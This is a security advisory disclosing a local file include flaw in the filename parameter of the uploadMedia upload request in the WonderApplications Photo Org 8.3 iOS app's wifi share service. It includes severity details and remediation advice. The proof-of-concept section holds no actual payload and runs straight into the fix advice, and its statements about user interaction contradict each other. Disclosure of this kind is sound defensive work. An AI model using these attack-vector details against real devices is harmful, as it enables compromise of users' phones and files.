Vulnerability Disclosure Timeline: ================================== 2014-07-04: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== WonderApplications Product: Photo Org L - iOS Mobile Application 8.3 Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ A local file include web vulnerability has been discovered in the official WonderApplications Photo Org v8.3 iOS web-application. The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path commands to compromise the mobile web-application. The web vulnerability is located in the `filename` value of the `uploadMedia` (uploadfile) module. Remote attackers are able to inject own files with malicious `filename` values in the `uploadMedia` POST method request to compromise the mobile web-application. The local file/path include execution occcurs in the index file/folder list context next to the vulnerable name/path value. The attacker is able to inject the local file request by usage of the available `wifi interface` for file exchange/share. Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute different local malicious attacks requests. The attack vector is on the application-side of the wifi service and the request method to inject is POST. The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.1. Exploitation of the local file include web vulnerability requires no privileged web-application user account but low user interaction. Successful exploitation of the local file include web vulnerability results in mobile application or connected device component compromise. Request Method(s): [+] [POST] Vulnerable Service(s): [+] WonderApplications - WiFi Share Vulnerable Module(s): [+] uploadMedia Vulnerable Parameter(s): [+] filename Affected Module(s): [+] Index File/Folder Dir Listing (http://localhost:[port-x]/) Proof of Concept (PoC): ======================= The local file inlcude web vulnerability can be exploited by remote attackers with low privileged application user account and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: WonderApplications (Photo & Video) - Index- & Sub-Categories

Encode also the filename value in the file dir listing of the index and sub categories. Restrict the filename value name input and prevent executions by a secure file filter on upload extension or the name validation itself. Security Risk: ============== The security risk of the local file include web vulnerability in the filename value is estimated as high.
